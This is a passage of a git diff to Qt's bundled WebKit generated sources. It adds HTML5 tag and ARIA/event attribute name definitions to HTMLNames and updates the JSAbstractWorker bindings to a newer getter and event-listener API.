+    new ((void*)&focusedAttr) QualifiedName(nullAtom, "focused", nullAtom);
+    new ((void*)&forAttr) QualifiedName(nullAtom, "for", nullAtom);
+    new ((void*)&formnovalidateAttr) QualifiedName(nullAtom, "formnovalidate", nullAtom);
+    new ((void*)&frameAttr) QualifiedName(nullAtom, "frame", nullAtom);
+    new ((void*)&frameborderAttr) QualifiedName(nullAtom, "frameborder", nullAtom);
+    new ((void*)&headersAttr) QualifiedName(nullAtom, "headers", nullAtom);
+    new ((void*)&heightAttr) QualifiedName(nullAtom, "height", nullAtom);
+    new ((void*)&hiddenAttr) QualifiedName(nullAtom, "hidden", nullAtom);
+    new ((void*)&hrefAttr) QualifiedName(nullAtom, "href", nullAtom);
+    new ((void*)&hreflangAttr) QualifiedName(nullAtom, "hreflang", nullAtom);
+    new ((void*)&hspaceAttr) QualifiedName(nullAtom, "hspace", nullAtom);
+    new ((void*)&http_equivAttr) QualifiedName(nullAtom, "http-equiv", nullAtom);
+    new ((void*)&idAttr) QualifiedName(nullAtom, "id", nullAtom);
+    new ((void*)&incrementalAttr) QualifiedName(nullAtom, "incremental", nullAtom);
+    new ((void*)&indeterminateAttr) QualifiedName(nullAtom, "indeterminate", nullAtom);
+    new ((void*)&ismapAttr) QualifiedName(nullAtom, "ismap", nullAtom);
+    new ((void*)&keytypeAttr) QualifiedName(nullAtom, "keytype", nullAtom);
+    new ((void*)&labelAttr) QualifiedName(nullAtom, "label", nullAtom);
+    new ((void*)&langAttr) QualifiedName(nullAtom, "lang", nullAtom);
+    new ((void*)&languageAttr) QualifiedName(nullAtom, "language", nullAtom);
+    new ((void*)&leftmarginAttr) QualifiedName(nullAtom, "leftmargin", nullAtom);
+    new ((void*)&linkAttr) QualifiedName(nullAtom, "link", nullAtom);
+    new ((void*)&listAttr) QualifiedName(nullAtom, "list", nullAtom);
+    new ((void*)&longdescAttr) QualifiedName(nullAtom, "longdesc", nullAtom);
+    new ((void*)&loopAttr) QualifiedName(nullAtom, "loop", nullAtom);
+    new ((void*)&loopendAttr) QualifiedName(nullAtom, "loopend", nullAtom);
+    new ((void*)&loopstartAttr) QualifiedName(nullAtom, "loopstart", nullAtom);
+    new ((void*)&lowsrcAttr) QualifiedName(nullAtom, "lowsrc", nullAtom);
+    new ((void*)&manifestAttr) QualifiedName(nullAtom, "manifest", nullAtom);
+    new ((void*)&marginheightAttr) QualifiedName(nullAtom, "marginheight", nullAtom);
+    new ((void*)&marginwidthAttr) QualifiedName(nullAtom, "marginwidth", nullAtom);
+    new ((void*)&maxAttr) QualifiedName(nullAtom, "max", nullAtom);
+    new ((void*)&maxlengthAttr) QualifiedName(nullAtom, "maxlength", nullAtom);
+    new ((void*)&mayscriptAttr) QualifiedName(nullAtom, "mayscript", nullAtom);
+    new ((void*)&mediaAttr) QualifiedName(nullAtom, "media", nullAtom);
+    new ((void*)&methodAttr) QualifiedName(nullAtom, "method", nullAtom);
+    new ((void*)&minAttr) QualifiedName(nullAtom, "min", nullAtom);
+    new ((void*)&multipleAttr) QualifiedName(nullAtom, "multiple", nullAtom);
+    new ((void*)&nameAttr) QualifiedName(nullAtom, "name", nullAtom);
+    new ((void*)&nohrefAttr) QualifiedName(nullAtom, "nohref", nullAtom);
+    new ((void*)&noresizeAttr) QualifiedName(nullAtom, "noresize", nullAtom);
+    new ((void*)&noshadeAttr) QualifiedName(nullAtom, "noshade", nullAtom);
+    new ((void*)&novalidateAttr) QualifiedName(nullAtom, "novalidate", nullAtom);
+    new ((void*)&nowrapAttr) QualifiedName(nullAtom, "nowrap", nullAtom);
+    new ((void*)&objectAttr) QualifiedName(nullAtom, "object", nullAtom);
+    new ((void*)&onabortAttr) QualifiedName(nullAtom, "onabort", nullAtom);
+    new ((void*)&onbeforecopyAttr) QualifiedName(nullAtom, "onbeforecopy", nullAtom);
+    new ((void*)&onbeforecutAttr) QualifiedName(nullAtom, "onbeforecut", nullAtom);
+    new ((void*)&onbeforeloadAttr) QualifiedName(nullAtom, "onbeforeload", nullAtom);
+    new ((void*)&onbeforepasteAttr) QualifiedName(nullAtom, "onbeforepaste", nullAtom);
+    new ((void*)&onbeforeunloadAttr) QualifiedName(nullAtom, "onbeforeunload", nullAtom);
+    new ((void*)&onblurAttr) QualifiedName(nullAtom, "onblur", nullAtom);
+    new ((void*)&oncanplayAttr) QualifiedName(nullAtom, "oncanplay", nullAtom);
+    new ((void*)&oncanplaythroughAttr) QualifiedName(nullAtom, "oncanplaythrough", nullAtom);
+    new ((void*)&onchangeAttr) QualifiedName(nullAtom, "onchange", nullAtom);
+    new ((void*)&onclickAttr) QualifiedName(nullAtom, "onclick", nullAtom);
+    new ((void*)&oncontextmenuAttr) QualifiedName(nullAtom, "oncontextmenu", nullAtom);
+    new ((void*)&oncopyAttr) QualifiedName(nullAtom, "oncopy", nullAtom);
+    new ((void*)&oncutAttr) QualifiedName(nullAtom, "oncut", nullAtom);
+    new ((void*)&ondblclickAttr) QualifiedName(nullAtom, "ondblclick", nullAtom);
+    new ((void*)&ondragAttr) QualifiedName(nullAtom, "ondrag", nullAtom);
+    new ((void*)&ondragendAttr) QualifiedName(nullAtom, "ondragend", nullAtom);
+    new ((void*)&ondragenterAttr) QualifiedName(nullAtom, "ondragenter", nullAtom);
+    new ((void*)&ondragleaveAttr) QualifiedName(nullAtom, "ondragleave", nullAtom);
+    new ((void*)&ondragoverAttr) QualifiedName(nullAtom, "ondragover", nullAtom);
+    new ((void*)&ondragstartAttr) QualifiedName(nullAtom, "ondragstart", nullAtom);
+    new ((void*)&ondropAttr) QualifiedName(nullAtom, "ondrop", nullAtom);
+    new ((void*)&ondurationchangeAttr) QualifiedName(nullAtom, "ondurationchange", nullAtom);
+    new ((void*)&onemptiedAttr) QualifiedName(nullAtom, "onemptied", nullAtom);
+    new ((void*)&onendedAttr) QualifiedName(nullAtom, "onended", nullAtom);
+    new ((void*)&onerrorAttr) QualifiedName(nullAtom, "onerror", nullAtom);
+    new ((void*)&onfocusAttr) QualifiedName(nullAtom, "onfocus", nullAtom);
+    new ((void*)&onfocusinAttr) QualifiedName(nullAtom, "onfocusin", nullAtom);
+    new ((void*)&onfocusoutAttr) QualifiedName(nullAtom, "onfocusout", nullAtom);
+    new ((void*)&onhashchangeAttr) QualifiedName(nullAtom, "onhashchange", nullAtom);
+    new ((void*)&oninputAttr) QualifiedName(nullAtom, "oninput", nullAtom);
+    new ((void*)&oninvalidAttr) QualifiedName(nullAtom, "oninvalid", nullAtom);
+    new ((void*)&onkeydownAttr) QualifiedName(nullAtom, "onkeydown", nullAtom);
+    new ((void*)&onkeypressAttr) QualifiedName(nullAtom, "onkeypress", nullAtom);
+    new ((void*)&onkeyupAttr) QualifiedName(nullAtom, "onkeyup", nullAtom);
+    new ((void*)&onloadAttr) QualifiedName(nullAtom, "onload", nullAtom);
+    new ((void*)&onloadeddataAttr) QualifiedName(nullAtom, "onloadeddata", nullAtom);
+    new ((void*)&onloadedmetadataAttr) QualifiedName(nullAtom, "onloadedmetadata", nullAtom);
+    new ((void*)&onloadstartAttr) QualifiedName(nullAtom, "onloadstart", nullAtom);
+    new ((void*)&onmousedownAttr) QualifiedName(nullAtom, "onmousedown", nullAtom);
+    new ((void*)&onmousemoveAttr) QualifiedName(nullAtom, "onmousemove", nullAtom);
+    new ((void*)&onmouseoutAttr) QualifiedName(nullAtom, "onmouseout", nullAtom);
+    new ((void*)&onmouseoverAttr) QualifiedName(nullAtom, "onmouseover", nullAtom);
+    new ((void*)&onmouseupAttr) QualifiedName(nullAtom, "onmouseup", nullAtom);
+    new ((void*)&onmousewheelAttr) QualifiedName(nullAtom, "onmousewheel", nullAtom);
+    new ((void*)&onofflineAttr) QualifiedName(nullAtom, "onoffline", nullAtom);
+    new ((void*)&ononlineAttr) QualifiedName(nullAtom, "ononline", nullAtom);
+    new ((void*)&onorientationchangeAttr) QualifiedName(nullAtom, "onorientationchange", nullAtom);
+    new ((void*)&onpagehideAttr) QualifiedName(nullAtom, "onpagehide", nullAtom);
+    new ((void*)&onpageshowAttr) QualifiedName(nullAtom, "onpageshow", nullAtom);
+    new ((void*)&onpasteAttr) QualifiedName(nullAtom, "onpaste", nullAtom);
+    new ((void*)&onpauseAttr) QualifiedName(nullAtom, "onpause", nullAtom);
+    new ((void*)&onplayAttr) QualifiedName(nullAtom, "onplay", nullAtom);
+    new ((void*)&onplayingAttr) QualifiedName(nullAtom, "onplaying", nullAtom);
+    new ((void*)&onpopstateAttr) QualifiedName(nullAtom, "onpopstate", nullAtom);
+    new ((void*)&onprogressAttr) QualifiedName(nullAtom, "onprogress", nullAtom);
+    new ((void*)&onratechangeAttr) QualifiedName(nullAtom, "onratechange", nullAtom);
+    new ((void*)&onresetAttr) QualifiedName(nullAtom, "onreset", nullAtom);
+    new ((void*)&onresizeAttr) QualifiedName(nullAtom, "onresize", nullAtom);
+    new ((void*)&onscrollAttr) QualifiedName(nullAtom, "onscroll", nullAtom);
+    new ((void*)&onsearchAttr) QualifiedName(nullAtom, "onsearch", nullAtom);
+    new ((void*)&onseekedAttr) QualifiedName(nullAtom, "onseeked", nullAtom);
+    new ((void*)&onseekingAttr) QualifiedName(nullAtom, "onseeking", nullAtom);
+    new ((void*)&onselectAttr) QualifiedName(nullAtom, "onselect", nullAtom);
+    new ((void*)&onselectstartAttr) QualifiedName(nullAtom, "onselectstart", nullAtom);
+    new ((void*)&onstalledAttr) QualifiedName(nullAtom, "onstalled", nullAtom);
+    new ((void*)&onstorageAttr) QualifiedName(nullAtom, "onstorage", nullAtom);
+    new ((void*)&onsubmitAttr) QualifiedName(nullAtom, "onsubmit", nullAtom);
+    new ((void*)&onsuspendAttr) QualifiedName(nullAtom, "onsuspend", nullAtom);
+    new ((void*)&ontimeupdateAttr) QualifiedName(nullAtom, "ontimeupdate", nullAtom);
+    new ((void*)&ontouchcancelAttr) QualifiedName(nullAtom, "ontouchcancel", nullAtom);
+    new ((void*)&ontouchendAttr) QualifiedName(nullAtom, "ontouchend", nullAtom);
+    new ((void*)&ontouchmoveAttr) QualifiedName(nullAtom, "ontouchmove", nullAtom);
+    new ((void*)&ontouchstartAttr) QualifiedName(nullAtom, "ontouchstart", nullAtom);
+    new ((void*)&onunloadAttr) QualifiedName(nullAtom, "onunload", nullAtom);
+    new ((void*)&onvolumechangeAttr) QualifiedName(nullAtom, "onvolumechange", nullAtom);
+    new ((void*)&onwaitingAttr) QualifiedName(nullAtom, "onwaiting", nullAtom);
+    new ((void*)&onwebkitanimationendAttr) QualifiedName(nullAtom, "onwebkitanimationend", nullAtom);
+    new ((void*)&onwebkitanimationiterationAttr) QualifiedName(nullAtom, "onwebkitanimationiteration", nullAtom);
+    new ((void*)&onwebkitanimationstartAttr) QualifiedName(nullAtom, "onwebkitanimationstart", nullAtom);
+    new ((void*)&onwebkitbeginfullscreenAttr) QualifiedName(nullAtom, "onwebkitbeginfullscreen", nullAtom);
+    new ((void*)&onwebkitendfullscreenAttr) QualifiedName(nullAtom, "onwebkitendfullscreen", nullAtom);
+    new ((void*)&onwebkittransitionendAttr) QualifiedName(nullAtom, "onwebkittransitionend", nullAtom);
+    new ((void*)&patternAttr) QualifiedName(nullAtom, "pattern", nullAtom);
+    new ((void*)&placeholderAttr) QualifiedName(nullAtom, "placeholder", nullAtom);
+    new ((void*)&playcountAttr) QualifiedName(nullAtom, "playcount", nullAtom);
+    new ((void*)&pluginurlAttr) QualifiedName(nullAtom, "pluginurl", nullAtom);
+    new ((void*)&posterAttr) QualifiedName(nullAtom, "poster", nullAtom);
+    new ((void*)&precisionAttr) QualifiedName(nullAtom, "precision", nullAtom);
+    new ((void*)&preloadAttr) QualifiedName(nullAtom, "preload", nullAtom);
+    new ((void*)&primaryAttr) QualifiedName(nullAtom, "primary", nullAtom);
+    new ((void*)&profileAttr) QualifiedName(nullAtom, "profile", nullAtom);
+    new ((void*)&progressAttr) QualifiedName(nullAtom, "progress", nullAtom);
+    new ((void*)&promptAttr) QualifiedName(nullAtom, "prompt", nullAtom);
+    new ((void*)&readonlyAttr) QualifiedName(nullAtom, "readonly", nullAtom);
+    new ((void*)&relAttr) QualifiedName(nullAtom, "rel", nullAtom);
+    new ((void*)&requiredAttr) QualifiedName(nullAtom, "required", nullAtom);
+    new ((void*)&resultsAttr) QualifiedName(nullAtom, "results", nullAtom);
+    new ((void*)&revAttr) QualifiedName(nullAtom, "rev", nullAtom);
+    new ((void*)&roleAttr) QualifiedName(nullAtom, "role", nullAtom);
+    new ((void*)&rowsAttr) QualifiedName(nullAtom, "rows", nullAtom);
+    new ((void*)&rowspanAttr) QualifiedName(nullAtom, "rowspan", nullAtom);
+    new ((void*)&rulesAttr) QualifiedName(nullAtom, "rules", nullAtom);
+    new ((void*)&sandboxAttr) QualifiedName(nullAtom, "sandbox", nullAtom);
+    new ((void*)&schemeAttr) QualifiedName(nullAtom, "scheme", nullAtom);
+    new ((void*)&scopeAttr) QualifiedName(nullAtom, "scope", nullAtom);
+    new ((void*)&scrollamountAttr) QualifiedName(nullAtom, "scrollamount", nullAtom);
+    new ((void*)&scrolldelayAttr) QualifiedName(nullAtom, "scrolldelay", nullAtom);
+    new ((void*)&scrollingAttr) QualifiedName(nullAtom, "scrolling", nullAtom);
+    new ((void*)&selectedAttr) QualifiedName(nullAtom, "selected", nullAtom);
+    new ((void*)&shapeAttr) QualifiedName(nullAtom, "shape", nullAtom);
+    new ((void*)&sizeAttr) QualifiedName(nullAtom, "size", nullAtom);
+    new ((void*)&sortableAttr) QualifiedName(nullAtom, "sortable", nullAtom);
+    new ((void*)&sortdirectionAttr) QualifiedName(nullAtom, "sortdirection", nullAtom);
+    new ((void*)&spanAttr) QualifiedName(nullAtom, "span", nullAtom);
+    new ((void*)&spellcheckAttr) QualifiedName(nullAtom, "spellcheck", nullAtom);
+    new ((void*)&srcAttr) QualifiedName(nullAtom, "src", nullAtom);
+    new ((void*)&standbyAttr) QualifiedName(nullAtom, "standby", nullAtom);
+    new ((void*)&startAttr) QualifiedName(nullAtom, "start", nullAtom);
+    new ((void*)&stepAttr) QualifiedName(nullAtom, "step", nullAtom);
+    new ((void*)&styleAttr) QualifiedName(nullAtom, "style", nullAtom);
+    new ((void*)&summaryAttr) QualifiedName(nullAtom, "summary", nullAtom);
+    new ((void*)&tabindexAttr) QualifiedName(nullAtom, "tabindex", nullAtom);
+    new ((void*)&tableborderAttr) QualifiedName(nullAtom, "tableborder", nullAtom);
+    new ((void*)&targetAttr) QualifiedName(nullAtom, "target", nullAtom);
+    new ((void*)&textAttr) QualifiedName(nullAtom, "text", nullAtom);
+    new ((void*)&titleAttr) QualifiedName(nullAtom, "title", nullAtom);
+    new ((void*)&topAttr) QualifiedName(nullAtom, "top", nullAtom);
+    new ((void*)&topmarginAttr) QualifiedName(nullAtom, "topmargin", nullAtom);
+    new ((void*)&truespeedAttr) QualifiedName(nullAtom, "truespeed", nullAtom);
+    new ((void*)&typeAttr) QualifiedName(nullAtom, "type", nullAtom);
+    new ((void*)&usemapAttr) QualifiedName(nullAtom, "usemap", nullAtom);
+    new ((void*)&valignAttr) QualifiedName(nullAtom, "valign", nullAtom);
+    new ((void*)&valueAttr) QualifiedName(nullAtom, "value", nullAtom);
+    new ((void*)&valuetypeAttr) QualifiedName(nullAtom, "valuetype", nullAtom);
+    new ((void*)&versionAttr) QualifiedName(nullAtom, "version", nullAtom);
+    new ((void*)&viewsourceAttr) QualifiedName(nullAtom, "viewsource", nullAtom);
+    new ((void*)&vlinkAttr) QualifiedName(nullAtom, "vlink", nullAtom);
+    new ((void*)&vspaceAttr) QualifiedName(nullAtom, "vspace", nullAtom);
+    new ((void*)&widthAttr) QualifiedName(nullAtom, "width", nullAtom);
+    new ((void*)&wrapAttr) QualifiedName(nullAtom, "wrap", nullAtom);
 }
 
 } }
diff --git a/src/3rdparty/webkit/WebCore/generated/HTMLNames.h b/src/3rdparty/webkit/WebCore/generated/HTMLNames.h
index 6fd108e..004dfad 100644
--- a/src/3rdparty/webkit/WebCore/generated/HTMLNames.h
+++ b/src/3rdparty/webkit/WebCore/generated/HTMLNames.h
@@ -47,6 +47,8 @@ extern const WebCore::QualifiedName acronymTag;
 extern const WebCore::QualifiedName addressTag;
 extern const WebCore::QualifiedName appletTag;
 extern const WebCore::QualifiedName areaTag;
+extern const WebCore::QualifiedName articleTag;
+extern const WebCore::QualifiedName asideTag;
 extern const WebCore::QualifiedName audioTag;
 extern const WebCore::QualifiedName bTag;
 extern const WebCore::QualifiedName baseTag;
@@ -80,6 +82,7 @@ extern const WebCore::QualifiedName emTag;
 extern const WebCore::QualifiedName embedTag;
 extern const WebCore::QualifiedName fieldsetTag;
 extern const WebCore::QualifiedName fontTag;
+extern const WebCore::QualifiedName footerTag;
 extern const WebCore::QualifiedName formTag;
 extern const WebCore::QualifiedName frameTag;
 extern const WebCore::QualifiedName framesetTag;
@@ -90,6 +93,8 @@ extern const WebCore::QualifiedName h4Tag;
 extern const WebCore::QualifiedName h5Tag;
 extern const WebCore::QualifiedName h6Tag;
 extern const WebCore::QualifiedName headTag;
+extern const WebCore::QualifiedName headerTag;
+extern const WebCore::QualifiedName hgroupTag;
 extern const WebCore::QualifiedName hrTag;
 extern const WebCore::QualifiedName htmlTag;
 extern const WebCore::QualifiedName iTag;
@@ -125,6 +130,7 @@ extern const WebCore::QualifiedName pTag;
 extern const WebCore::QualifiedName paramTag;
 extern const WebCore::QualifiedName plaintextTag;
 extern const WebCore::QualifiedName preTag;
+extern const WebCore::QualifiedName progressTag;
 extern const WebCore::QualifiedName qTag;
 extern const WebCore::QualifiedName rpTag;
 extern const WebCore::QualifiedName rtTag;
@@ -132,6 +138,7 @@ extern const WebCore::QualifiedName rubyTag;
 extern const WebCore::QualifiedName sTag;
 extern const WebCore::QualifiedName sampTag;
 extern const WebCore::QualifiedName scriptTag;
+extern const WebCore::QualifiedName sectionTag;
 extern const WebCore::QualifiedName selectTag;
 extern const WebCore::QualifiedName smallTag;
 extern const WebCore::QualifiedName sourceTag;
@@ -168,22 +175,35 @@ extern const WebCore::QualifiedName alinkAttr;
 extern const WebCore::QualifiedName altAttr;
 extern const WebCore::QualifiedName archiveAttr;
 extern const WebCore::QualifiedName aria_activedescendantAttr;
+extern const WebCore::QualifiedName aria_atomicAttr;
+extern const WebCore::QualifiedName aria_busyAttr;
 extern const WebCore::QualifiedName aria_checkedAttr;
+extern const WebCore::QualifiedName aria_controlsAttr;
 extern const WebCore::QualifiedName aria_describedbyAttr;
 extern const WebCore::QualifiedName aria_disabledAttr;
+extern const WebCore::QualifiedName aria_dropeffectAttr;
+extern const WebCore::QualifiedName aria_expandedAttr;
+extern const WebCore::QualifiedName aria_flowtoAttr;
+extern const WebCore::QualifiedName aria_grabbedAttr;
+extern const WebCore::QualifiedName aria_haspopupAttr;
 extern const WebCore::QualifiedName aria_hiddenAttr;
 extern const WebCore::QualifiedName aria_labelAttr;
 extern const WebCore::QualifiedName aria_labeledbyAttr;
 extern const WebCore::QualifiedName aria_labelledbyAttr;
 extern const WebCore::QualifiedName aria_levelAttr;
+extern const WebCore::QualifiedName aria_liveAttr;
+extern const WebCore::QualifiedName aria_multiselectableAttr;
+extern const WebCore::QualifiedName aria_orientationAttr;
+extern const WebCore::QualifiedName aria_ownsAttr;
 extern const WebCore::QualifiedName aria_pressedAttr;
 extern const WebCore::QualifiedName aria_readonlyAttr;
+extern const WebCore::QualifiedName aria_relevantAttr;
 extern const WebCore::QualifiedName aria_requiredAttr;
+extern const WebCore::QualifiedName aria_selectedAttr;
 extern const WebCore::QualifiedName aria_valuemaxAttr;
 extern const WebCore::QualifiedName aria_valueminAttr;
 extern const WebCore::QualifiedName aria_valuenowAttr;
 extern const WebCore::QualifiedName aria_valuetextAttr;
-extern const WebCore::QualifiedName autobufferAttr;
 extern const WebCore::QualifiedName autocompleteAttr;
 extern const WebCore::QualifiedName autofocusAttr;
 extern const WebCore::QualifiedName autoplayAttr;
@@ -205,7 +225,6 @@ extern const WebCore::QualifiedName charsetAttr;
 extern const WebCore::QualifiedName checkedAttr;
 extern const WebCore::QualifiedName citeAttr;
 extern const WebCore::QualifiedName classAttr;
-extern char classAttrString[];
 extern const WebCore::QualifiedName classidAttr;
 extern const WebCore::QualifiedName clearAttr;
 extern const WebCore::QualifiedName codeAttr;
@@ -230,6 +249,7 @@ extern const WebCore::QualifiedName disabledAttr;
 extern const WebCore::QualifiedName draggableAttr;
 extern const WebCore::QualifiedName enctypeAttr;
 extern const WebCore::QualifiedName endAttr;
+extern const WebCore::QualifiedName eventAttr;
 extern const WebCore::QualifiedName expandedAttr;
 extern const WebCore::QualifiedName faceAttr;
 extern const WebCore::QualifiedName focusedAttr;
@@ -304,6 +324,8 @@ extern const WebCore::QualifiedName onemptiedAttr;
 extern const WebCore::QualifiedName onendedAttr;
 extern const WebCore::QualifiedName onerrorAttr;
 extern const WebCore::QualifiedName onfocusAttr;
+extern const WebCore::QualifiedName onfocusinAttr;
+extern const WebCore::QualifiedName onfocusoutAttr;
 extern const WebCore::QualifiedName onhashchangeAttr;
 extern const WebCore::QualifiedName oninputAttr;
 extern const WebCore::QualifiedName oninvalidAttr;
@@ -329,6 +351,7 @@ extern const WebCore::QualifiedName onpasteAttr;
 extern const WebCore::QualifiedName onpauseAttr;
 extern const WebCore::QualifiedName onplayAttr;
 extern const WebCore::QualifiedName onplayingAttr;
+extern const WebCore::QualifiedName onpopstateAttr;
 extern const WebCore::QualifiedName onprogressAttr;
 extern const WebCore::QualifiedName onratechangeAttr;
 extern const WebCore::QualifiedName onresetAttr;
@@ -344,12 +367,18 @@ extern const WebCore::QualifiedName onstorageAttr;
 extern const WebCore::QualifiedName onsubmitAttr;
 extern const WebCore::QualifiedName onsuspendAttr;
 extern const WebCore::QualifiedName ontimeupdateAttr;
+extern const WebCore::QualifiedName ontouchcancelAttr;
+extern const WebCore::QualifiedName ontouchendAttr;
+extern const WebCore::QualifiedName ontouchmoveAttr;
+extern const WebCore::QualifiedName ontouchstartAttr;
 extern const WebCore::QualifiedName onunloadAttr;
 extern const WebCore::QualifiedName onvolumechangeAttr;
 extern const WebCore::QualifiedName onwaitingAttr;
 extern const WebCore::QualifiedName onwebkitanimationendAttr;
 extern const WebCore::QualifiedName onwebkitanimationiterationAttr;
 extern const WebCore::QualifiedName onwebkitanimationstartAttr;
+extern const WebCore::QualifiedName onwebkitbeginfullscreenAttr;
+extern const WebCore::QualifiedName onwebkitendfullscreenAttr;
 extern const WebCore::QualifiedName onwebkittransitionendAttr;
 extern const WebCore::QualifiedName patternAttr;
 extern const WebCore::QualifiedName placeholderAttr;
@@ -357,6 +386,7 @@ extern const WebCore::QualifiedName playcountAttr;
 extern const WebCore::QualifiedName pluginurlAttr;
 extern const WebCore::QualifiedName posterAttr;
 extern const WebCore::QualifiedName precisionAttr;
+extern const WebCore::QualifiedName preloadAttr;
 extern const WebCore::QualifiedName primaryAttr;
 extern const WebCore::QualifiedName profileAttr;
 extern const WebCore::QualifiedName progressAttr;
@@ -370,6 +400,7 @@ extern const WebCore::QualifiedName roleAttr;
 extern const WebCore::QualifiedName rowsAttr;
 extern const WebCore::QualifiedName rowspanAttr;
 extern const WebCore::QualifiedName rulesAttr;
+extern const WebCore::QualifiedName sandboxAttr;
 extern const WebCore::QualifiedName schemeAttr;
 extern const WebCore::QualifiedName scopeAttr;
 extern const WebCore::QualifiedName scrollamountAttr;
@@ -385,6 +416,7 @@ extern const WebCore::QualifiedName spellcheckAttr;
 extern const WebCore::QualifiedName srcAttr;
 extern const WebCore::QualifiedName standbyAttr;
 extern const WebCore::QualifiedName startAttr;
+extern const WebCore::QualifiedName stepAttr;
 extern const WebCore::QualifiedName styleAttr;
 extern const WebCore::QualifiedName summaryAttr;
 extern const WebCore::QualifiedName tabindexAttr;
diff --git a/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.cpp b/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.cpp
index bee17ac..ab5a9f7 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.cpp
@@ -27,8 +27,6 @@
 #include "AbstractWorker.h"
 #include "Event.h"
 #include "EventListener.h"
-#include "Frame.h"
-#include "JSDOMGlobalObject.h"
 #include "JSEvent.h"
 #include "JSEventListener.h"
 #include "RegisteredEventListener.h"
@@ -45,8 +43,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSAbstractWorker);
 
 static const HashTableValue JSAbstractWorkerTableValues[3] =
 {
-    { "onerror", DontDelete, (intptr_t)jsAbstractWorkerOnerror, (intptr_t)setJSAbstractWorkerOnerror },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsAbstractWorkerConstructor, (intptr_t)0 },
+    { "onerror", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAbstractWorkerOnerror), (intptr_t)setJSAbstractWorkerOnerror },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAbstractWorkerConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -85,7 +83,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -108,9 +106,9 @@ bool JSAbstractWorkerConstructor::getOwnPropertyDescriptor(ExecState* exec, cons
 
 static const HashTableValue JSAbstractWorkerPrototypeTableValues[4] =
 {
-    { "addEventListener", DontDelete|Function, (intptr_t)jsAbstractWorkerPrototypeFunctionAddEventListener, (intptr_t)3 },
-    { "removeEventListener", DontDelete|Function, (intptr_t)jsAbstractWorkerPrototypeFunctionRemoveEventListener, (intptr_t)3 },
-    { "dispatchEvent", DontDelete|Function, (intptr_t)jsAbstractWorkerPrototypeFunctionDispatchEvent, (intptr_t)1 },
+    { "addEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsAbstractWorkerPrototypeFunctionAddEventListener), (intptr_t)3 },
+    { "removeEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsAbstractWorkerPrototypeFunctionRemoveEventListener), (intptr_t)3 },
+    { "dispatchEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsAbstractWorkerPrototypeFunctionDispatchEvent), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -148,14 +146,14 @@ JSAbstractWorker::JSAbstractWorker(NonNullPassRefPtr<Structure> structure, JSDOM
 
 JSAbstractWorker::~JSAbstractWorker()
 {
-    impl()->invalidateEventListeners();
+    impl()->invalidateJSEventListeners(this);
     forgetDOMObject(this, impl());
 }
 
 void JSAbstractWorker::markChildren(MarkStack& markStack)
 {
     Base::markChildren(markStack);
-    impl()->markEventListeners(markStack);
+    impl()->markJSEventListeners(markStack);
 }
 
 JSObject* JSAbstractWorker::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
@@ -173,21 +171,23 @@ bool JSAbstractWorker::getOwnPropertyDescriptor(ExecState* exec, const Identifie
     return getStaticValueDescriptor<JSAbstractWorker, Base>(exec, &JSAbstractWorkerTable, this, propertyName, descriptor);
 }
 
-JSValue jsAbstractWorkerOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAbstractWorkerOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAbstractWorker* castedThis = static_cast<JSAbstractWorker*>(asObject(slot.slotBase()));
+    JSAbstractWorker* castedThis = static_cast<JSAbstractWorker*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     AbstractWorker* imp = static_cast<AbstractWorker*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsAbstractWorkerConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsAbstractWorkerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSAbstractWorker* domObject = static_cast<JSAbstractWorker*>(asObject(slot.slotBase()));
+    JSAbstractWorker* domObject = static_cast<JSAbstractWorker*>(asObject(slotBase));
     return JSAbstractWorker::getConstructor(exec, domObject->globalObject());
 }
 void JSAbstractWorker::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -199,10 +199,7 @@ void setJSAbstractWorkerOnerror(ExecState* exec, JSObject* thisObject, JSValue v
 {
     UNUSED_PARAM(exec);
     AbstractWorker* imp = static_cast<AbstractWorker*>(static_cast<JSAbstractWorker*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 JSValue JSAbstractWorker::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.h b/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.h
index 882c091..9cace65 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSAbstractWorker.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(WORKERS)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
